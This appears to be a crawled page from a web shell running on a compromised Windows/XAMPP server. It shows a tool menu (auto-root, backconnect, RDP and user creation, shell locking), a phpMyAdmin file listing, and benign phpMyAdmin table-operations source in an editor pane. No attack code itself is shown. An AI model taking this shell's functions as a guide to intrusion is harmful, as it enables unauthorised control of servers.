Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
[ HOME SHELL ]
Name
Size
Permission
Action
doc
[ DIR ]
drwxrwxrwx
examples
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
libraries
[ DIR ]
drwxrwxrwx
locale
[ DIR ]
drwxrwxrwx
setup
[ DIR ]
drwxrwxrwx
sql
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
themes
[ DIR ]
drwxrwxrwx
tmp
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxrwxrwx
CONTRIBUTING.md
2.53
KB
-rw-rw-rw-
ChangeLog
32.24
KB
-rw-rw-rw-
LICENSE
17.67
KB
-rw-rw-rw-
README
1.48
KB
-rw-rw-rw-
RELEASE-DATE-5.0.4
29
B
-rw-rw-rw-
ajax.php
1.96
KB
-rw-rw-rw-
browse_foreigners.php
1.77
KB
-rw-rw-rw-
changelog.php
3.04
KB
-rw-rw-rw-
chk_rel.php
1.16
KB
-rw-rw-rw-
composer.json
3.47
KB
-rw-rw-rw-
composer.lock
170.01
KB
-rw-rw-rw-
config.inc.php
2
KB
-rw-rw-rw-
config.sample.inc.php
4.43
KB
-rw-rw-rw-
db_central_columns.php
4.5
KB
-rw-rw-rw-
db_datadict.php
730
B
-rw-rw-rw-
db_designer.php
7.6
KB
-rw-rw-rw-
db_events.php
1.96
KB
-rw-rw-rw-
db_export.php
5
KB
-rw-rw-rw-
db_import.php
1.08
KB
-rw-rw-rw-
db_multi_table_query.php
1.42
KB
-rw-rw-rw-
db_operations.php
9.64
KB
-rw-rw-rw-
db_qbe.php
5.19
KB
-rw-rw-rw-
db_routines.php
2.2
KB
-rw-rw-rw-
db_search.php
2.17
KB
-rw-rw-rw-
db_sql.php
1.18
KB
-rw-rw-rw-
db_sql_autocomplete.php
1.01
KB
-rw-rw-rw-
db_sql_format.php
613
B
-rw-rw-rw-
db_structure.php
2
KB
-rw-rw-rw-
db_tracking.php
3.58
KB
-rw-rw-rw-
db_triggers.php
1.96
KB
-rw-rw-rw-
error_report.php
4.64
KB
-rw-rw-rw-
export.php
16.93
KB
-rw-rw-rw-
favicon.ico
21.96
KB
-rw-rw-rw-
gis_data_editor.php
3.83
KB
-rw-rw-rw-
import.php
24.03
KB
-rw-rw-rw-
import_status.php
3.65
KB
-rw-rw-rw-
index.php
3.01
KB
-rw-rw-rw-
license.php
1021
B
-rw-rw-rw-
lint.php
1.52
KB
-rw-rw-rw-
logout.php
437
B
-rw-rw-rw-
navigation.php
2.58
KB
-rw-rw-rw-
normalization.php
4.48
KB
-rw-rw-rw-
package.json
1.42
KB
-rw-rw-rw-
phpinfo.php
633
B
-rw-rw-rw-
prefs_forms.php
3.02
KB
-rw-rw-rw-
prefs_manage.php
7.29
KB
-rw-rw-rw-
prefs_twofactor.php
1.93
KB
-rw-rw-rw-
print.css
1.18
KB
-rw-rw-rw-
robots.txt
26
B
-rw-rw-rw-
schema_export.php
861
B
-rw-rw-rw-
server_binlog.php
733
B
-rw-rw-rw-
server_collations.php
626
B
-rw-rw-rw-
server_databases.php
1.74
KB
-rw-rw-rw-
server_engines.php
797
B
-rw-rw-rw-
server_export.php
1.22
KB
-rw-rw-rw-
server_import.php
833
B
-rw-rw-rw-
server_plugins.php
595
B
-rw-rw-rw-
server_privileges.php
14.8
KB
-rw-rw-rw-
server_replication.php
1.57
KB
-rw-rw-rw-
server_sql.php
1.06
KB
-rw-rw-rw-
server_status.php
1.01
KB
-rw-rw-rw-
server_status_advisor.php
885
B
-rw-rw-rw-
server_status_monitor.php
3.22
KB
-rw-rw-rw-
server_status_processes.php
1.78
KB
-rw-rw-rw-
server_status_queries.php
1.34
KB
-rw-rw-rw-
server_status_variables.php
1.31
KB
-rw-rw-rw-
server_user_groups.php
2.16
KB
-rw-rw-rw-
server_variables.php
1.08
KB
-rw-rw-rw-
services.yml
3.09
KB
-rw-rw-rw-
services_controllers.yml
8.4
KB
-rw-rw-rw-
show_config_errors.php
1.23
KB
-rw-rw-rw-
sql.php
6.73
KB
-rw-rw-rw-
tbl_addfield.php
4.33
KB
-rw-rw-rw-
tbl_change.php
6.86
KB
-rw-rw-rw-
tbl_chart.php
1.13
KB
-rw-rw-rw-
tbl_create.php
3.92
KB
-rw-rw-rw-
tbl_export.php
2.9
KB
-rw-rw-rw-
tbl_find_replace.php
1.29
KB
-rw-rw-rw-
tbl_get_field.php
2.05
KB
-rw-rw-rw-
tbl_gis_visualization.php
1.64
KB
-rw-rw-rw-
tbl_import.php
895
B
-rw-rw-rw-
tbl_indexes.php
1.23
KB
-rw-rw-rw-
tbl_operations.php
15.43
KB
-rw-rw-rw-
tbl_recent_favorite.php
590
B
-rw-rw-rw-
tbl_relation.php
2.81
KB
-rw-rw-rw-
tbl_replace.php
17.51
KB
-rw-rw-rw-
tbl_row_action.php
5.48
KB
-rw-rw-rw-
tbl_select.php
1.29
KB
-rw-rw-rw-
tbl_sql.php
1.23
KB
-rw-rw-rw-
tbl_structure.php
2.31
KB
-rw-rw-rw-
tbl_tracking.php
5.33
KB
-rw-rw-rw-
tbl_triggers.php
265
B
-rw-rw-rw-
tbl_zoom_select.php
1.22
KB
-rw-rw-rw-
themes.php
894
B
-rw-rw-rw-
transformation_overview.php
846
B
-rw-rw-rw-
transformation_wrapper.php
5.26
KB
-rw-rw-rw-
url.php
1.56
KB
-rw-rw-rw-
user_password.php
2.18
KB
-rw-rw-rw-
version_check.php
1.17
KB
-rw-rw-rw-
view_create.php
7.02
KB
-rw-rw-rw-
view_operations.php
3.45
KB
-rw-rw-rw-
yarn.lock
109.31
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tbl_operations.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Various table operations * * @package PhpMyAdmin */ declare(strict_types=1); use PhpMyAdmin\CheckUserPrivileges; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Index; use PhpMyAdmin\Message; use PhpMyAdmin\Operations; use PhpMyAdmin\Partition; use PhpMyAdmin\Relation; use PhpMyAdmin\Response; use PhpMyAdmin\Table; use PhpMyAdmin\Util; if (! defined('ROOT_PATH')) { define('ROOT_PATH', __DIR__ . DIRECTORY_SEPARATOR); } global $url_query; require_once ROOT_PATH . 'libraries/common.inc.php'; /** @var Response $response */ $response = $containerBuilder->get(Response::class); /** @var DatabaseInterface $dbi */ $dbi = $containerBuilder->get(DatabaseInterface::class); /** @var string $db */ $db = $containerBuilder->getParameter('db'); /** @var string $table */ $table = $containerBuilder->getParameter('table'); /** @var CheckUserPrivileges $checkUserPrivileges */ $checkUserPrivileges = $containerBuilder->get('check_user_privileges'); $checkUserPrivileges->getPrivileges(); // lower_case_table_names=1 `DB` becomes `db` $lowerCaseNames = $dbi->getLowerCaseNames() === '1'; if ($lowerCaseNames) { $table = mb_strtolower($table); } $pma_table = new Table($table, $db); $header = $response->getHeader(); $scripts = $header->getScripts(); $scripts->addFile('table/operations.js'); /** * Runs common work */ require ROOT_PATH . 'libraries/tbl_common.inc.php'; $url_query .= '&goto=tbl_operations.php&back=tbl_operations.php'; $url_params['goto'] = $url_params['back'] = 'tbl_operations.php'; /** * Gets relation settings */ /** @var Relation $relation */ $relation = $containerBuilder->get('relation'); $cfgRelation = $relation->getRelationsParam(); /** @var Operations $operations */ $operations = $containerBuilder->get('operations'); // reselect current db (needed in some cases probably due to // the calling of PhpMyAdmin\Relation) $dbi->selectDb($db); /** * Gets tables information */ $pma_table = $dbi->getTable( $db, $table ); $reread_info = $pma_table->getStatusInfo(null, false); $GLOBALS['showtable'] = $pma_table->getStatusInfo(null, (isset($reread_info) && $reread_info ? true : false)); if ($pma_table->isView()) { $tbl_is_view = true; $tbl_storage_engine = __('View'); $show_comment = null; } else { $tbl_is_view = false; $tbl_storage_engine = $pma_table->getStorageEngine(); $show_comment = $pma_table->getComment(); } $tbl_collation = $pma_table->getCollation(); $table_info_num_rows = $pma_table->getNumRows(); $row_format = $pma_table->getRowFormat(); $auto_increment = $pma_table->getAutoIncrement(); $create_options = $pma_table->getCreateOptions(); // set initial value of these variables, based on the current table engine if ($pma_table->isEngine('ARIA')) { // the value for transactional can be implicit // (no create option found, in this case it means 1) // or explicit (option found with a value of 0 or 1) // ($create_options['transactional'] may have been set by Table class, // from the $create_options) $create_options['transactional'] = (isset($create_options['transactional']) && $create_options['transactional'] == '0') ? '0' : '1'; $create_options['page_checksum'] = isset($create_options['page_checksum']) ? $create_options['page_checksum'] : ''; } $pma_table = $dbi->getTable( $db, $table ); $reread_info = false; $table_alters = []; /** * If the table has to be moved to some other database */ if (isset($_POST['submit_move']) || isset($_POST['submit_copy'])) { //$_message = ''; $operations->moveOrCopyTable($db, $table); // This was ended in an Ajax call exit; } /** * If the table has to be maintained */ if (isset($_POST['table_maintenance'])) { include_once ROOT_PATH . 'sql.php'; unset($result); } /** * Updates table comment, type and options if required */ if (isset($_POST['submitoptions'])) { $_message = ''; $warning_messages = []; if (isset($_POST['new_name'])) { // lower_case_table_names=1 `DB` becomes `db` if ($lowerCaseNames) { $_POST['new_name'] = mb_strtolower( $_POST['new_name'] ); } // Get original names before rename operation $oldTable = $pma_table->getName(); $oldDb = $pma_table->getDbName(); if ($pma_table->rename($_POST['new_name'])) { if (isset($_POST['adjust_privileges']) && ! empty($_POST['adjust_privileges']) ) { $operations->adjustPrivilegesRenameOrMoveTable( $oldDb, $oldTable, $_POST['db'], $_POST['new_name'] ); } // Reselect the original DB $db = $oldDb; $dbi->selectDb($oldDb); $_message .= $pma_table->getLastMessage(); $result = true; $table = $pma_table->getName(); $reread_info = true; $reload = true; } else { $_message .= $pma_table->getLastError(); $result = false; } } if (! empty($_POST['new_tbl_storage_engine']) && mb_strtoupper($_POST['new_tbl_storage_engine']) !== $tbl_storage_engine ) { $new_tbl_storage_engine = mb_strtoupper($_POST['new_tbl_storage_engine']); if ($pma_table->isEngine('ARIA')) { $create_options['transactional'] = (isset($create_options['transactional']) && $create_options['transactional'] == '0') ? '0' : '1'; $create_options['page_checksum'] = isset($create_options['page_checksum']) ? $create_options['page_checksum'] : ''; } } else { $new_tbl_storage_engine = ''; } $row_format = isset($create_options['row_format']) ? $create_options['row_format'] : $pma_table->getRowFormat(); $table_alters = $operations->getTableAltersArray( $pma_table, $create_options['pack_keys'], (empty($create_options['checksum']) ? '0' : '1'), (isset($create_options['page_checksum']) ? $create_options['page_checksum'] : ''), (empty($create_options['delay_key_write']) ? '0' : '1'), $row_format, $new_tbl_storage_engine, ((isset($create_options['transactional']) && $create_options['transactional'] == '0') ? '0' : '1'), $tbl_collation ); if (count($table_alters) > 0) { $sql_query = 'ALTER TABLE ' . Util::backquote($table); $sql_query .= "\r\n" . implode("\r\n", $table_alters); $sql_query .= ';'; $result = $dbi->query($sql_query) ? true : false; $reread_info = true; unset($table_alters); $warning_messages = $operations->getWarningMessagesArray(); } if (isset($_POST['tbl_collation']) && ! empty($_POST['tbl_collation']) && isset($_POST['change_all_collations']) && ! empty($_POST['change_all_collations']) ) { $operations->changeAllColumnsCollation( $db, $table, $_POST['tbl_collation'] ); } if (isset($_POST['tbl_collation']) && empty($_POST['tbl_collation'])) { $response = Response::getInstance(); if ($response->isAjax()) { $response->setRequestStatus(false); $response->addJSON( 'message', Message::error(__('No collation provided.')) ); exit; } } } /** * Reordering the table has been requested by the user */ if (isset($_POST['submitorderby']) && ! empty($_POST['order_field'])) { list($sql_query, $result) = $operations->getQueryAndResultForReorderingTable(); } // end if /** * A partition operation has been requested by the user */ if (isset($_POST['submit_partition']) && ! empty($_POST['partition_operation']) ) { list($sql_query, $result) = $operations->getQueryAndResultForPartition(); } // end if if ($reread_info) { // to avoid showing the old value (for example the AUTO_INCREMENT) after // a change, clear the cache $dbi->clearTableCache(); $dbi->selectDb($db); $GLOBALS['showtable'] = $pma_table->getStatusInfo(null, true); if ($pma_table->isView()) { $tbl_is_view = true; $tbl_storage_engine = __('View'); $show_comment = null; } else { $tbl_is_view = false; $tbl_storage_engine = $pma_table->getStorageEngine(); $show_comment = $pma_table->getComment(); } $tbl_collation = $pma_table->getCollation(); $table_info_num_rows = $pma_table->getNumRows(); $row_format = $pma_table->getRowFormat(); $auto_increment = $pma_table->getAutoIncrement(); $create_options = $pma_table->getCreateOptions(); } unset($reread_info); if (isset($result) && empty($message_to_show)) { if (empty($_message)) { if (empty($sql_query)) { $_message = Message::success(__('No change')); } else { $_message = $result ? Message::success() : Message::error(); } if ($response->isAjax()) { $response->setRequestStatus($_message->isSuccess()); $response->addJSON('message', $_message); if (! empty($sql_query)) { $response->addJSON( 'sql_query', Util::getMessage(null, $sql_query) ); } exit; } } else { $_message = $result ? Message::success($_message) : Message::error($_message); } if (! empty($warning_messages)) { $_message = new Message(); $_message->addMessagesString($warning_messages); $_message->isError(true); if ($response->isAjax()) { $response->setRequestStatus(false); $response->addJSON('message', $_message); if (! empty($sql_query)) { $response->addJSON( 'sql_query', Util::getMessage(null, $sql_query) ); } exit; } unset($warning_messages); } if (empty($sql_query)) { $response->addHTML( $_message->getDisplay() ); } else { $response->addHTML( Util::getMessage($_message, $sql_query) ); } unset($_message); } $url_params['goto'] = $url_params['back'] = 'tbl_operations.php'; /** * Get columns names */ $columns = $dbi->getColumns($db, $table); /** * Displays the page */ /** * Order the table */ $hideOrderTable = false; // `ALTER TABLE ORDER BY` does not make sense for InnoDB tables that contain // a user-defined clustered index (PRIMARY KEY or NOT NULL UNIQUE index). // InnoDB always orders table rows according to such an index if one is present. if ($tbl_storage_engine == 'INNODB') { $indexes = Index::getFromTable($table, $db); foreach ($indexes as $name => $idx) { if ($name == 'PRIMARY') { $hideOrderTable = true; break; } elseif (! $idx->getNonUnique()) { $notNull = true; foreach ($idx->getColumns() as $column) { if ($column->getNull()) { $notNull = false; break; } } if ($notNull) { $hideOrderTable = true; break; } } } } if (! $hideOrderTable) { $response->addHTML($operations->getHtmlForOrderTheTable($columns)); } /** * Move table */ $response->addHTML($operations->getHtmlForMoveTable()); if (mb_strstr($show_comment, '; InnoDB free') === false) { if (mb_strstr($show_comment, 'InnoDB free') === false) { // only user entered comment $comment = $show_comment; } else { // here we have just InnoDB generated part $comment = ''; } } else { // remove InnoDB comment from end, just the minimal part (*? is non greedy) $comment = preg_replace('@; InnoDB free:.*?$@', '', $show_comment); } // PACK_KEYS: MyISAM or ISAM // DELAY_KEY_WRITE, CHECKSUM, : MyISAM only // AUTO_INCREMENT: MyISAM and InnoDB since 5.0.3, PBXT // Here should be version check for InnoDB, however it is supported // in >5.0.4, >4.1.12 and >4.0.11, so I decided not to // check for version $response->addHTML( $operations->getTableOptionDiv( $pma_table, $comment, $tbl_collation, $tbl_storage_engine, $create_options['pack_keys'], $auto_increment, (empty($create_options['delay_key_write']) ? '0' : '1'), ((isset($create_options['transactional']) && $create_options['transactional'] == '0') ? '0' : '1'), (isset($create_options['page_checksum']) ? $create_options['page_checksum'] : ''), (empty($create_options['checksum']) ? '0' : '1') ) ); /** * Copy table */ $response->addHTML($operations->getHtmlForCopytable()); /** * Table maintenance */ $response->addHTML( $operations->getHtmlForTableMaintenance($pma_table, $url_params) ); if (! (isset($db_is_system_schema) && $db_is_system_schema)) { $truncate_table_url_params = []; $drop_table_url_params = []; if (! $tbl_is_view && ! (isset($db_is_system_schema) && $db_is_system_schema) ) { $this_sql_query = 'TRUNCATE TABLE ' . Util::backquote($table); $truncate_table_url_params = array_merge( $url_params, [ 'sql_query' => $this_sql_query, 'goto' => 'tbl_structure.php', 'reload' => '1', 'message_to_show' => sprintf( __('Table %s has been emptied.'), htmlspecialchars($table) ), ] ); } if (! (isset($db_is_system_schema) && $db_is_system_schema)) { $this_sql_query = 'DROP TABLE ' . Util::backquote($table); $drop_table_url_params = array_merge( $url_params, [ 'sql_query' => $this_sql_query, 'goto' => 'db_operations.php', 'reload' => '1', 'purge' => '1', 'message_to_show' => sprintf( ($tbl_is_view ? __('View %s has been dropped.') : __('Table %s has been dropped.') ), htmlspecialchars($table) ), // table name is needed to avoid running // PhpMyAdmin\RelationCleanup::database() on the whole db later 'table' => $table, ] ); } $response->addHTML( $operations->getHtmlForDeleteDataOrTable( $truncate_table_url_params, $drop_table_url_params ) ); } if (Partition::havePartitioning()) { $partition_names = Partition::getPartitionNames($db, $table); // show the Partition maintenance section only if we detect a partition if ($partition_names[0] !== null) { $response->addHTML( $operations->getHtmlForPartitionMaintenance($partition_names, $url_params) ); } // end if } // end if unset($partition_names); // Referential integrity check if ($cfgRelation['relwork']) { $dbi->selectDb($db); $foreign = $relation->getForeigners($db, $table, '', 'internal'); if (! empty($foreign)) { $response->addHTML( $operations->getHtmlForReferentialIntegrityCheck($foreign, $url_params) ); } // end if ($foreign) } // end if (!empty($cfg['Server']['relation']))
Close